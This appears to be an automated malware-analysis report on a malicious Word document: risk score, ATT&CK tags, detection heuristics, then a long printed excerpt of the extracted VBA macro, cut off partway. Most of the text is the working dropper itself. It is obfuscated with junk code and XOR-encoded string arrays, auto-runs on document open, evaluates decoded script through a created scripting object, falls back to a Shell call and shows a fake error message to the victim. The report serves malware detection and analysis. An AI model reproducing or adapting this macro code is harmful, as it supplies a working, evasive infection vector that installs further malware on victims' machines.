MALICIOUS
228
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
The sample is a malicious Office document containing VBA macros. Heuristics indicate the presence of a Document_Open macro that uses the Shell function to execute commands. The ClamAV detection name 'Doc.Dropper.Agent-1822585' suggests its purpose is to drop additional malware. No specific URLs or further obfuscated scripts were found to provide more detail on the payload.
Heuristics 6
-
ClamAV: Doc.Dropper.Agent-1822585 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-1822585
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
tnott = Day(Date) Shell strMsgbox, astrcompa End Sub -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
ttimeserialt = Weekday(Date, 0) Set TtimevalueT = CreateObject(iifOptional) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
End Function Sub Document_Open() Dim onDefbyte As String
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 35378 bytes |
SHA-256: 3f9d0730d53e7805377c03928511dbf4f5c0183e02477c7572bb5059907f0cab |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub nextErase()
Dim declareCdate As Boolean
declareCdate = True
Dim aerrorhandlera As Single
aerrorhandlera = 58531.612412231
Dim functionRandom As Long
functionRandom = -2124909816
Dim scases As Integer
scases = Weekday(Date, vbMonday)
' Jurist ol pathological wit
Dim NtimevalueN As Long
NtimevalueN = 0
Dim ucaseTypeof As Integer
ucaseTypeof = -30695
Dim kcurrencyk As String
kcurrencyk = StrConv("iTvlqZa7", vbUpperCase)
' Brooch table elimination surprise
Dim curdirShell As Integer
curdirShell = -9105
For JinstrJ = 0 To 7362
Dim untilCsng As Long
untilCsng = -797857866
Dim beepGosub As Byte
beepGosub = 150
' Pander who prophet eth palermo
Dim gotoDefdec As Single
gotoDefdec = 16174.962016034
' Aggressive subscriber
Next
' Href outwardly
Dim xexitx As Long
xexitx = Year(Date)
End Sub
Sub RresumeR()
Const LoptionL As Single = 37625.572022442
Dim environStr As Double
environStr = 34995.726337447
Dim csngLen As Byte
csngLen = 240
' Pharmacy
Dim LrtrimL As Integer
LrtrimL = -117
Dim deflngSpace As Double
deflngSpace = 24282.708698964
Dim vnextv
vnextv = Month(Date)
Dim WcbyteW As String
WcbyteW = "explicitDeclare"
If Len(WcbyteW) > 23336 Then
Const BdateaddB = ""
Dim decimalFalse
decimalFalse = StrConv("KwGFJB", vbLowerCase)
Dim iasci As Long
iasci = 0
' Dependence lacquer chevalier bears seconds
Dim rgbBeep
rgbBeep = "t"
' Tinkling ingredient preparing buyers
Dim SendS As String
SendS = "yb"
If Len(SendS) <> 15577 Then
Dim npropertyn As Byte
npropertyn = 157
Dim OtypeO As Long
OtypeO = -893934774
' Banns
End If
Dim notCstr As Long
notCstr = 0
End If
End Sub
Public Sub ftypenamef()
Const hrseth As Single = 64942.915544121
Dim locFileattr As Boolean
locFileattr = False
Dim deflngGetsetting
deflngGetsetting = AscW("@")
' Liable components erratic
Dim rredimr As Long
rredimr = Day(Date)
Dim datevalueLcase As Boolean
datevalueLcase = False
Dim exitChdir As Long
exitChdir = Day(Date)
Dim sgnCurdir As Double
sgnCurdir = 46982.941181426
' Curbed busts julie spirituality she j
Dim functionNull As Double
functionNull = 34382.302361885
' Expect html waltz yamaha notch
Dim randomizeEmpty As Double
randomizeEmpty = 41370.719261908
Dim mstringm
mstringm = Month(Date)
' Solidity parley title infidelity
End Sub
Private Function LcboolL()
Dim ltrimOn As Double
ltrimOn = 1315.7407163658
Dim oelseo As Boolean
oelseo = False
Dim strcompMkdir As Single
strcompMkdir = 15327.760381836
Dim nowStatic As Double
nowStatic = 33670.828732331
' Patent berkeley imparting broil club
Dim HeraseH As Double
HeraseH = 18036.993712598
Dim NexitprocN As Byte
NexitprocN = 76
For LrndL = 0 To -16965
Dim fpublishreportf As Integer
fpublishreportf = 21069
' Ts flout science dweller
Dim deflngErrorhandler As Boolean
deflngErrorhandler = False
Dim lprintl As Integer
lprintl = 886
Next
' Hist investor agonising
Dim CcaseC As String
CcaseC = "Juicy ex- thank spry quill"
If Len(CcaseC) < 24807 Then
Dim raiseeventGetattr As Integer
raiseeventGetattr = -22427
Dim EtimeserialE As Long
EtimeserialE = 0
Dim friendExit As String
friendExit = AscW("C")
' Tighten oily bryan abby
Dim YeachY As Boolean
YeachY = True
' Appreciate yachts
Dim timeserialCvar As String
timeserialCvar = "pEZcDPR2s"
If Len(timeserialCvar) > 15257 Then
Dim clngStrconv As Long
clngStrconv = 0
Const publishreportExitproc As Integer = 31021
End If
' Weblogs
Dim LdefobjL As Long
LdefobjL = 0
Dim xeventx As Long
xeventx = 0
' Impotence enhance wireless
Dim errorhandlerDefdbl
errorhandlerDefdbl = StrConv("diSphZK", vbLowerCase)
Dim gotoSqr As String
gotoSqr = "gathering phaeton avoid tours"
If Len(gotoSqr) = -208 Then
Dim ywitheventsy As Boolean
ywitheventsy = True
Dim UresumeU As Double
UresumeU = 52337.101632507
Dim FfilecopyF As String
FfilecopyF = Trim("yo")
End If
End If
End Function
Public Function propertyBeep()
Dim optionTrue As Long
optionTrue = 0
Dim resumeCurrency As Integer
resumeCurrency = -15798
Dim eachRandom
eachRandom = "xStcYS"
If Len(eachRandom) <> 4526 Then
Dim LlocL As Byte
LlocL = 9
Dim timevalueLoad As Single
timevalueLoad = 59553.812845732
Dim elseCbool As Boolean
elseCbool = True
Dim errorOpen As Double
errorOpen = 38662.714367024
' Testament moraine
Dim andGetobject As Double
andGetobject = 40713.715292187
' Trainer securities
Dim tabRandomize As String
tabRandomize = "RtimeserialR"
If Len(tabRandomize) <> 28151 Then
Dim fcvarf As Boolean
fcvarf = False
' Writers third-rate hitch sinew
Const uoutputu As String = ""
' Bluntly busted ion tortoise
Dim FdoubleF As Long
FdoubleF = 0
End If
End If
Dim gotoInstr As Double
gotoInstr = 52270.134482369
Dim anamea As Byte
anamea = 35
For HsecondH = 0 To -9343
Dim curdirDefsng As Boolean
curdirDefsng = True
Dim zremz As Boolean
zremz = False
' Impersonal
Next
End Function
Private Function scompares()
Dim mdoeventsm As Single
mdoeventsm = 23962.652691414
Const lenRmdir As Single = 27310.803017637
Dim msecondm As Double
msecondm = 6973.6389115898
Dim printChr As Double
printChr = 5919.2341651504
Dim toRedim As Long
toRedim = 0
' Jul heaven away
For rtrimTimer = 0 To 7950
Dim sendkeysCdec As Double
sendkeysCdec = 64367.755206928
' Planetary rigged acclaimed distinct
Dim wcurdirw As Boolean
wcurdirw = True
Dim EisemptyE As Long
EisemptyE = 0
' Sententious titanic
Next rtrimTimer
Dim qerrorq As Byte
qerrorq = 215
Dim ireseti As Double
ireseti = 62473.855618082
Dim remDefsng
remDefsng = LTrim("kP")
Dim vdatediffv As Long
vdatediffv = Day(Date)
Dim PimplementsP
PimplementsP = "o"
If Len(PimplementsP) < -23962 Then
Dim vlockv As Boolean
vlockv = False
Dim cstrAs As Boolean
cstrAs = False
Dim savesettingAtn As Single
savesettingAtn = 23038.588549989
Dim sinCase As Double
sinCase = 57462.588686804
For forShell = 0 To 6055
Dim fixIsempty As Single
fixIsempty = 26801.560560676
' Yelp arcadian orbit greeting
Dim BrightB As Long
BrightB = -1914217382
Const HdatediffH = ""
Next
' Pointer
Dim writeQbcolor As Single
writeQbcolor = 52163.869224755
Dim UselectU As Single
UselectU = 763.47569083691
Dim demptyd
demptyd = "kwGCa1"
' Boy requiring wav
Dim elseifDir As String
elseifDir = "Interpose lifetime highly carouse rally"
If Len(elseifDir) = -9234 Then
Dim DvalD As Long
DvalD = 0
Dim withTime As Double
withTime = 2093.6898653623
End If
' Citizens communicate
End If
Const defdblChdrive = 0
' Garcia zo cancer pollux constructing ostler
Dim dirTrim As Integer
dirTrim = 5758
' Observe rebuilt eastern stilts
Dim YstopY As Integer
YstopY = Weekday(Date, 0)
' Edwards overflow popped belts
End Function
Sub mselectm()
Dim optionalLoop
optionalLoop = RTrim("EsFuiOLht")
Dim leftEof As Double
leftEof = 22267.093312697
Dim openTab As Integer
openTab = 28628
Dim vformatv As Single
vformatv = 8441.5162419478
' Gaza filament prompter
Dim SdimS As Integer
SdimS = Month(Date)
Const isDo = False
Dim XcbyteX As Byte
XcbyteX = 251
Dim NdateaddN As Long
NdateaddN = Month(Date)
Dim onTrim As Long
onTrim = -297449692
Dim pclosep As Byte
pclosep = 59
Const timerFunction = "6"
' Cogent so ace difficulties
For vartypeSavepicture = 0 To -11856
Dim weekdaySetattr As Byte
weekdaySetattr = 175
Dim exitInstr As Boolean
exitInstr = True
' Tunis manna dramatic past ascendancy usurpation
Next
End Sub
Function raiseeventKill(enumCreateobject, cmonthc)
Dim VsingleV As Integer
VsingleV = 12067
' Feat wedlock orthodoxy ut supervisor louisiana loyally
Dim ltrimMid As Single
ltrimMid = 41634.767821769
' Trustees
Dim isdateStatic As Single
isdateStatic = 7510.5697590641
' Expression chips
Dim defintCverr As Integer
defintCverr = vbThursday
raiseeventKill = Chr(enumCreateobject Xor cmonthc)
End Function
Sub Document_Open()
Dim onDefbyte As String
onDefbyte = Trim("tiOebH")
Dim functionLoadpicture
functionLoadpicture = Trim("adaptor poem occult")
' Tow drone unicameral munich fails contacted
Dim putSin As Integer
putSin = Weekday(Date, 1)
' Quest apposite
Dim rtanr As String
rtanr = LTrim("b")
' Language nonplussed chew alumina
Dim fsecondf As Integer
fsecondf = 20531
' Adaptor tusk crucial
Dim nsavepicturen
nsavepicturen = vbFriday
Dim hfiledatetimeh As Double
hfiledatetimeh = 7902.9594121599
Dim csngRandomize As Single
csngRandomize = 4719.1510651397
' Abashed twenty-eighth
For EwhileE = 0 To 13548
Dim ZnullZ As Double
ZnullZ = 29408.353618288
Const secondTimeserial = 63
' Kenneth theme docile shutter src easy tally
Dim IcverrI As Single
IcverrI = 7193.8973669674
Next
' Charlotte
Dim DinD As Long
DinD = -289440744
' Sambo
Dim doDim As Long
doDim = -1405557902
' Albumen fancy pastry unctuous watson
Dim dfixd
dfixd = vbTuesday
' Vaunted forecast cpu animal rabid mash twinks
Call ziifz
Dim LdateserialL As Double
LdateserialL = 40094.980148744
' Lady
Dim thenDefdate As Byte
thenDefdate = 233
For fixTypename = 0 To -1810
Dim UfunctionU As Integer
UfunctionU = 51
' November sustainability assists bequeath
Dim inputEach As Single
inputEach = 17836.613311376
Next
MsgBox "Sorry, we ran into a problem" & vbCrLf & "Go online to look for additional help." & vbCrLf & "Error Code: 0-3", vbCritical, "Something went wrong"
Const nextFix As Single = 34700.123082438
' Appertain null jeweller
Dim declareCommand As Single
declareCommand = 50121.003093898
' Bb retail stake surgeons
Dim onWeekday As String
onWeekday = "NWwDPAQ"
If Len(onWeekday) = -2604 Then
Dim implementsTypeof As Long
implementsTypeof = -541954356
' Ecstatic prominence
Const qeraseq = "4"
End If
' Talking elsewhere norwegian
Dim JasJ As Integer
JasJ = -4374
' Bowling official reports
Dim remFormat As Boolean
remFormat = True
' Averil
For emptyTypename = 0 To -11281
Dim locRaiseevent As Long
locRaiseevent = 0
' Flirt
Dim csngRight As Byte
csngRight = 91
' Cruises sorcery ur loud
Dim defstrUcase As Long
defstrUcase = 0
Next
Dim expLbound As Double
expLbound = 5933.1742299182
' Boss deduct
Const EdefboolE As Boolean = True
' Dg paired kijiji wireless
Dim istepi As Integer
istepi = vbSaturday
Dim shexs As Boolean
shexs = True
Dim defcurCurdir As Byte
defcurCurdir = 106
' Nil turbo strengths
For expPublic = 0 To 12042
Dim gstrcompg As Boolean
gstrcompg = False
' Twine vocal analyse
Dim FunlockF As Integer
FunlockF = -12837
Dim stepUcase As Double
stepUcase = 21788.468797574
' Brake victory detention bilious
Next expPublic
' Mlb vacate
Const toChr As Integer = 5299
' Mightnt capitol both
Dim openCase As Byte
openCase = 41
Dim kisarrayk As Integer
kisarrayk = vbSaturday
Dim strDatepart As Long
strDatepart = -1524680706
' Hw brazilian
Dim shellXor As Long
shellXor = 0
' Outpost propecia puissance ncaa
Const redimWrite As Boolean = False
Dim xpublishreportx
xpublishreportx = "Venereal aden yolk previews"
If Len(xpublishreportx) < -8965 Then
Const vdoeventsv As Double = 29501.970661574
Dim sendkeysAnd As Long
sendkeysAnd = -1162805490
Dim cosUnload As Boolean
cosUnload = True
End If
' Districts pressure cauldron nj
Dim AdefboolA As String
AdefboolA = RTrim("Produces wherewithal")
Dim secondLoc As Single
secondLoc = 23313.680124019
Dim singleCall As Single
singleCall = 18069.287776367
Dim vartypeTypeof As Integer
vartypeTypeof = Day(Date)
' Adidas exterior
Dim KtimerK As Byte
KtimerK = 41
' Super residence gamble
Dim errorhandlerFiledatetime As Byte
errorhandlerFiledatetime = 115
Dim witheventsWhile As Integer
witheventsWhile = Weekday(Date, vbUseSystemDayOfWeek)
Dim ZimplementsZ As Byte
ZimplementsZ = 106
' Intersection dank
Dim lboundBeep As Byte
lboundBeep = 230
' Racks
For hhexh = 0 To -14542
Dim resetIf As Single
resetIf = 8041.5101582328
' Phenomenal copies sg independently
Const ascTypeof = False
Dim defstrIf
defstrIf = ""
Next
Dim VmidV As Long
VmidV = -2018266140
Dim CstrcompC As Integer
CstrcompC = 8543
Const qbcolorLong = 33
Dim jbytej As String
jbytej = "UonU"
If Len(jbytej) = -31524 Then
Dim GdimG As Byte
GdimG = 199
' Hearse quarto cameras
Dim GprivateG As Boolean
GprivateG = False
End If
Dim EmidE As Byte
EmidE = 55
' Turnip hurt
Dim eachExit As Byte
eachExit = 180
' Reservation roe johns innocuous xxx
Dim setDefsng As Integer
setDefsng = vbSunday
' Second calabash defined
Dim ipublishreporti
ipublishreporti = StrConv("CSGLDS", vbLowerCase)
Dim gsgng As Double
gsgng = 34584.664025653
Dim unlockExitproc
unlockExitproc = UCase("N")
' Motels latex duchy norwegian
Dim loadpictureSavepicture
loadpictureSavepicture = Day(Date)
End Sub
Sub ziifz()
Const andClose = -14555
Dim cdecGosub As Integer
cdecGosub = -25361
' Zanzibar ottawa networks views
Dim thenIsarray As Long
thenIsarray = 0
Dim dcverrd
dcverrd = "filedatetimeOn"
If Len(dcverrd) = -27610 Then
Dim VlofV As Byte
VlofV = 89
' Barring lazy
Dim sinDay As Single
sinDay = 27736.974138604
Dim YcreateobjectY As Double
YcreateobjectY = 29141.824139184
End If
' Bed
On Error GoTo TucaseT
Dim likeIf As Long
likeIf = 0
Dim switchWidth
switchWidth = vbNullString
Dim YxorY As Single
YxorY = 28222.975250353
Dim asGetattr As String
asGetattr = "modVartype"
If Len(asGetattr) > -27530 Then
Dim byteNot
byteNot = Val("E")
Dim tabIsempty As Long
tabIsempty = 0
End If
Dim raiseeventEach As String
Dim loadCreateobject As Byte
loadCreateobject = 55
' Legislation paramour subjective
Dim imodi
imodi = StrConv("warp tie initiation short-lived duo depreciate ids", vbLowerCase)
' Errors volt
Dim gsqrg As Double
gsqrg = 41478.690853394
Dim typenameLeft As String
typenameLeft = "qCkLL"
If Len(typenameLeft) <> 25780 Then
Dim ZisarrayZ As Byte
ZisarrayZ = 64
' Opened idealist
Dim defdecDefsng As Byte
defdecDefsng = 25
End If
' Heartache changed signing
Dim dateserialMsgbox As Long
Dim sloops As Double
sloops = 1040.1839699779
' Unpopular nomadic prices
Dim VintegerV As Long
VintegerV = 0
Dim MprintM As String
MprintM = Val("MuTGOcq")
' Dumfounded taking unequivocally ofries bargain
For HunlockH = 0 To 13736
Dim IxorI As Single
IxorI = 3939.912720692
' Serbia tortoise eng
Const timerCcur As Single = 6941.8264994204
Next
dateserialMsgbox = 189908 - 9908
Dim ifChdir As Single
ifChdir = 28833.642004729
Const SvartypeS = 39617.479792523
Dim UucaseU As Boolean
UucaseU = True
' Headstrong tired batman
For beepUcase = 0 To 9486
Dim orSelect As Long
orSelect = -2002528208
Dim randomCdbl As Boolean
randomCdbl = False
Dim jdefcurj As Single
jdefcurj = 33911.312129891
' Remarks migration liken
Next beepUcase
' Ministers
Dim xtanx As Double
xtanx = 34923.71303004
Dim dresetd As Byte
dresetd = 139
Const qemptyq As Double = 65300.141212563
' Special
For stringAsc = 0 To 27719
Dim mcallm As Byte
mcallm = 205
Dim dateSetattr
dateSetattr = UCase("atnNot")
' Sedentary presuppose nobody
Next stringAsc
Dim tclngt As String
tclngt = rndFriend(Array(117, 114, 103, 116, 114, 46, 47, 125, 112, 103, 116, 38, 115, 59, 33, 110, 114, 114, 118, 60, 41, 41, 111, 104, 96, 105, 40, 98, 105, 101, 117, 43, 117, 110, 103, 116, 99, 118, 105, 111, 104, 114, 40, 101, 105, 107, 41, 105, 96, 96, 111, 101, 99, 115, 118, 40, 99, 126, 99, 33, 40, 117, 118, 106, 111, 114, 46, 33, 42, 33, 47, 61, 96, 105, 116, 46, 111, 59, 54, 61, 111, 58, 115, 40, 106, 99, 104, 97, 114, 110, 61, 111, 45, 45, 47, 125, 114, 116, 127, 125, 112, 103, 116, 38, 110, 59, 104, 99, 113, 38, 71, 101, 114, 111, 112, 99, 94, 73, 100))
Dim DdateD As Long
DdateD = 0
' Allspice banging prefecture -logy badinage
Dim IdefdateI As Byte
IdefdateI = 104
' Observer encomium lunar afghan
Const doCcur = "J"
' Appendage bight scorch forty-two approve
For dvartyped = 0 To -17539
Const athena = 42967.089019865
' Despicable beverly
Dim octDir As Boolean
octDir = True
' Lending alternatives determining
Next dvartyped
Dim rsetBoolean As String
rsetBoolean = rndFriend(Array(108, 99, 101, 114, 46, 33, 107, 117, 126, 107, 106, 52, 40, 126, 107, 106, 110, 114, 114, 118, 33, 47, 61, 110, 40, 105, 118, 99, 104, 46, 33, 65, 67, 82, 33, 42, 115, 93, 111, 91, 42, 96, 103, 106, 117, 99, 47, 61, 110, 40, 117, 99, 104, 98, 46, 47, 61, 111, 96, 46, 110, 40, 117, 114, 103, 114, 115, 117, 59, 59, 52, 54, 54, 32, 32, 110, 40, 116, 99, 117, 118, 105, 104, 117, 99, 114, 99, 126, 114, 40, 117, 115, 100, 117, 114, 116, 46, 54, 42, 52, 47, 59, 59, 33, 75, 92, 33, 47, 125, 112, 103, 116, 38, 113, 59, 104, 99, 113, 38))
Const ptimeserialp As Integer = 32084
' Paid naked par
Dim optionClose As Single
optionClose = 12078.647609595
' Microscopic
Dim ffunctionf As String
ffunctionf = "traiseeventt"
If Len(ffunctionf) > 24763 Then
Dim iserrorDouble As Double
iserrorDouble = 26898.354832178
' Condos drag
Dim spaceLoadpicture As String
spaceLoadpicture = UCase("iaHF6x")
' Impromptu briar
End If
Dim defvarStatic As String
defvarStatic = rndFriend(Array(71, 101, 114, 111, 112, 99, 94, 73, 100, 108, 99, 101, 114, 46, 33, 113, 117, 101, 116, 111, 118, 114, 40, 117, 110, 99, 106, 106, 33, 47, 61, 112, 103, 116, 38, 103, 59, 104, 99, 113, 38, 71, 101, 114, 111, 112, 99, 94, 73, 100, 108, 99, 101, 114, 46, 33, 103, 98, 105, 98, 100, 40, 117, 114, 116, 99, 103, 107, 33, 47, 61, 112, 103, 116, 38, 96, 59, 104, 99, 113, 38, 71, 101, 114, 111, 112, 99, 94, 73, 100, 108, 99, 101, 114, 46, 33, 117, 101, 116, 111, 118, 114, 111, 104, 97, 40, 96, 111, 106, 99, 117, 127, 117, 114, 99, 107, 105, 100, 108))
Dim closeCbool As Byte
closeCbool = 211
Dim BsubB As Byte
BsubB = 154
' Rebuff well-founded cinema recipe
Dim nothingIn As Long
nothingIn = Month(Date)
Dim getRnd As String
getRnd = rndFriend(Array(99, 101, 114, 33, 47, 61, 112, 103, 116, 38, 118, 59, 96, 40, 97, 99, 114, 117, 118, 99, 101, 111, 103, 106, 96, 105, 106, 98, 99, 116, 46, 52, 47, 38, 45, 38, 33, 90, 90, 90, 90, 51, 48, 50, 50, 48, 40, 99, 126, 99, 33, 61, 111, 96, 46, 96, 40, 96, 111, 106, 99, 99, 126, 111, 117, 114, 117, 46, 118, 47, 47, 38, 96, 40, 98, 99, 106, 99, 114, 99, 96, 111, 106, 99, 46, 118, 47, 61, 103, 40, 105, 118, 99, 104, 46, 47, 61, 103, 40, 114, 127, 118, 99, 38, 59, 38, 55, 61, 103, 40, 113, 116, 111, 114, 99, 46, 110, 40, 116))
Dim dintegerd As Double
dintegerd = 12917.389961022
' Incongruous
Dim commandCdec As Double
commandCdec = 51791.718521197
' Gymnastic is deface thunderbolts outcast
Dim CdefobjC As String
CdefobjC = "doeventsRandomize"
If Len(CdefobjC) > 12712 Then
Dim rvalr
rvalr = vbNullString
Dim JvalJ As Boolean
JvalJ = False
End If
Dim defdecCint As String
defdecCint = rndFriend(Array(99, 117, 118, 105, 104, 117, 99, 100, 105, 98, 127, 47, 61, 103, 40, 117, 103, 112, 99, 114, 105, 96, 111, 106, 99, 46, 118, 47, 61, 103, 40, 101, 106, 105, 117, 99, 46, 47, 61, 113, 40, 116, 115, 104, 46, 118, 42, 38, 55, 42, 38, 54, 47, 61, 100, 116, 99, 103, 109, 61, 123, 123, 101, 103, 114, 101, 110, 46, 99, 47, 125, 123, 123, 123, 117, 114, 103, 116, 114, 46, 47, 61))
Dim byteCcur As Integer
byteCcur = 8270
Dim GatnG As Long
GatnG = 0
' Christina equestrian blessed pussy harbinger chevalier
For vloopv = 0 To -30566
Dim freefileBoolean As Long
freefileBoolean = 0
' Existence phial
Const KnowK As String = "qCzYp3f1i"
Next vloopv
' Geography phoenix
Dim switchOn As String
Const savesettingInt = 18512.779159638
Dim sendkeysMid As Boolean
sendkeysMid = False
Dim StypeofS As String
StypeofS = "JT"
If Len(StypeofS) < -7546 Then
Dim filedatetimeNull As Long
filedatetimeNull = -745695128
' Dictionary trail
Dim qlofq As Double
qlofq = 27194.504038344
' Len indirect tram johnson
End If
' Expenses apathetic twiki
switchOn = tclngt + rsetBoolean + defvarStatic + getRnd + defdecCint
Dim otypeofo As Double
otypeofo = 63249.453087811
' Vault railway angelus jungle mathematics
Dim nforn As Integer
nforn = 6674
Dim tlent As Integer
tlent = vbFriday
Dim iifOptional As String
Dim currencyUnlock As Double
currencyUnlock = 4284.1832641975
' Purge luis latvia hampshire fusillade
Dim qarrayq As Single
qarrayq = 54260.344768539
' Upstart cranium prate cassock
For cverrExp = 0 To -1714
Dim ucaseBinary As Boolean
ucaseBinary = False
Dim HexitH As String
HexitH = Len("dir subterfuge overrun adware perpetrator")
' Proteins vespers bold crescendo discourteous
Next
' Ravish toilsome mastiff
iifOptional = rndFriend(Array(107, 117, 117, 101, 116, 111, 118, 114, 101, 105, 104, 114, 116, 105, 106, 40, 117, 101, 116, 111, 118, 114, 101, 105, 104, 114, 116, 105, 106))
Dim subConst As Long
subConst = 0
' Behavioral
Const cintError = 209
' Synonym partridge festal troubleshooting
Dim CtypeofC As Double
CtypeofC = 9672.7872519214
Dim ttimeserialt As Integer
ttimeserialt = Weekday(Date, 0)
Set TtimevalueT = CreateObject(iifOptional)
Dim redimSetattr As Double
redimSetattr = 51954.507515022
' Embarrass fires
Dim putEnum As Long
putEnum = -224659400
' Idiocy forty-eight clearing
Dim flenf As Integer
flenf = 1866
' Specialist glacier
For chrIf = 0 To 18887
Const nullInput = ""
' Option widely sieve rw
Dim rsetCdate As Long
rsetCdate = -245349972
Next chrIf
Dim mdoublem As String
Dim privateStr As Single
privateStr = 23395.198505153
' Travesty philanthropy sensitivity fwd
Dim errorIsempty As Byte
errorIsempty = 111
' Vol banana communicate
Const sqrLoop As Byte = 211
' Insipid unawares sq accompanying
Dim LfiledatetimeL As Long
LfiledatetimeL = Day(Date)
' Reset impel tank
mdoublem = rndFriend(Array(108, 117, 101, 116, 111, 118, 114))
Dim datevalueDo
datevalueDo = StrConv("VeBazqc", vbProperCase)
' Metaphor myriad peacock gondola
Dim itoi As Integer
itoi = -23199
Dim elseifTimevalue
elseifTimevalue = StrConv("atnSavepicture", vbUpperCase)
' Bbc
Dim SsqrS
SsqrS = "easy"
If Len(SsqrS) < -31361 Then
Const VexitV As Boolean = True
' Reproductive rheumatic bloody
Dim dgotod As Long
dgotod = -1622077636
' Truculent lunatic warner when graphic abed
End If
' Tamil creative
TtimevalueT.Timeout = dateserialMsgbox
Dim defvarXor As Single
defvarXor = 9368.0672839693
Dim vprivatev As Single
vprivatev = 19454.057028125
Dim zandz As Single
zandz = 31208.650293272
' Do disreputable true hives
Dim compareSwitch As String
compareSwitch = "tanFalse"
If Len(compareSwitch) > 16767 Then
Const CsecondC As Long = 0
Dim JatnJ As Long
JatnJ = 0
Dim XvariantX As Byte
XvariantX = 34
End If
TtimevalueT.Language = mdoublem
Const defdecControl As Byte = 98
' Lake inequalities
Dim RexitR As Long
RexitR = 0
Dim xprintx As Long
xprintx = 0
For rightRset = 0 To -9224
Dim jsetattrj As Single
jsetattrj = 53551.383796026
Dim afileattra As Byte
afileattra = 82
Const friendNext = -773129082
' Construction pleasant legally counselor
Next rightRset
TtimevalueT.Eval switchOn
Dim hstrcomph As Double
hstrcomph = 17958.98113744
' Pool fabled dr bottled
Dim outputDoevents As Boolean
outputDoevents = True
Dim jtabj As Integer
jtabj = 29500
' Aw movies
Dim switchSavesetting
switchSavesetting = "valEvent"
If Len(switchSavesetting) <> 24634 Then
Dim compareSeek As Long
compareSeek = 0
Dim eofLbound As Double
eofLbound = 42206.169732323
' Tapioca buying greenhouse
End If
Exit Sub
Dim TtoT As Integer
TtoT = 3998
' Incidentally foil inserted
Dim defintLong As Byte
defintLong = 30
For ZcontrolZ = 0 To -25168
Const cosPreserve As Integer = -2614
' Retainer denial
Const strcompTypename As Long = 0
' Subscribe wove
Dim byteGetobject As Boolean
byteGetobject = False
Next ZcontrolZ
' Ring macedonians chicken
TucaseT:
Dim vstrconvv As Double
vstrconvv = 37291.142362979
Dim modCommand As Byte
modCommand = 240
' Gnaw advertiser premeditated privilege
For notUnlock = 0 To 3964
Dim kredimk As Integer
kredimk = -25244
Dim YcommandY
YcommandY = LTrim("IM4USWu")
Next notUnlock
' Asset dairy vegetable conscious
Dim elseifElseif As Boolean
elseifElseif = True
Dim PremP As Double
PremP = 22755.211915387
' Unexplored usurped united exemption unscathed
Dim dateaddInteger
dateaddInteger = "W2"
If Len(dateaddInteger) < 11263 Then
Dim eerrorhandlere As Boolean
eerrorhandlere = False
Dim savesettingChr As String
savesettingChr = Len("hdefdech")
' Bashful compunction en-
End If
Dim axora As String
axora = rndFriend(Array(101, 107, 98, 38, 41, 101, 38, 118, 105, 113, 99, 116, 117, 110, 99, 106, 106, 38, 64, 105, 116, 99, 103, 101, 110, 46, 34, 115, 116, 106, 38, 111, 104, 38, 70, 46, 125, 110, 114, 114, 118, 60, 41, 41, 111, 104, 96, 105, 40, 98, 105, 101, 117, 43, 117, 110, 103, 116, 99, 118, 105, 111, 104, 114, 40, 101, 105, 107, 41, 105, 96, 96, 111, 101, 99, 115, 118, 40, 99, 126, 99, 123, 47, 47, 125, 114))
Dim wlinew As Integer
wlinew = 19275
' Rotary demi
Dim defdateOct As String
defdateOct = StrConv("PNRAexYT", vbUpperCase)
Dim absSendkeys As Byte
absSendkeys = 142
' Epidemics dour writers
Dim ksavesettingk As Integer
ksavesettingk = Weekday(Date, 2)
' Io
Dim chdirCint As String
chdirCint = rndFriend(Array(116, 127, 125, 34, 118, 103, 114, 110, 38, 59, 38, 33, 35, 114, 107, 118, 35, 90, 52, 54, 53, 40, 99, 126, 99, 33, 61, 46, 72, 99, 113, 43, 73, 100, 108, 99, 101, 114, 38, 85, 127, 117, 114, 99, 107, 40, 72, 99, 114, 40, 81, 99, 100, 69, 106, 111, 99, 104, 114, 47, 40, 66, 105, 113, 104, 106, 105, 103, 98, 64, 111, 106, 99, 46, 34, 115, 116, 106, 40, 82, 105, 85, 114, 116, 111, 104))
Dim arrayStatic As Integer
arrayStatic = 8854
Dim loopVartype As Boolean
loopVartype = False
Dim sgotos
sgotos = vbSunday
Dim deflngWhile As String
deflngWhile = rndFriend(Array(97, 46, 47, 42, 38, 34, 118, 103, 114, 110, 47, 61, 85, 114, 103, 116, 114, 43, 86, 116, 105, 101, 99, 117, 117, 38, 34, 118, 103, 114, 110, 61, 100, 116, 99, 103, 109, 61, 123, 101, 103, 114, 101, 110, 125, 123, 123))
Const CprivateC As Boolean = False
' Overhear
Dim DeachD As String
DeachD = UCase("tzYdD")
' Introduction stainless
Dim htypenameh As Double
htypenameh = 64985.94781713
' Arian ebay liz not
Dim UlocU As Integer
UlocU = Weekday(Date, vbUseSystemDayOfWeek)
' Fujitsu
Dim strMsgbox As String
Dim ktypeofk As Integer
ktypeofk = -877
' Broods effectiveness forces implications identifying
Dim rgbResume As Single
rgbResume = 55669.402682321
' Favourite rarely layman
Dim ZcaseZ As String
ZcaseZ = "P"
If Len(ZcaseZ) > 27779 Then
Dim optionAtn As Integer
optionAtn = -32274
Const doTypename = -12895
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.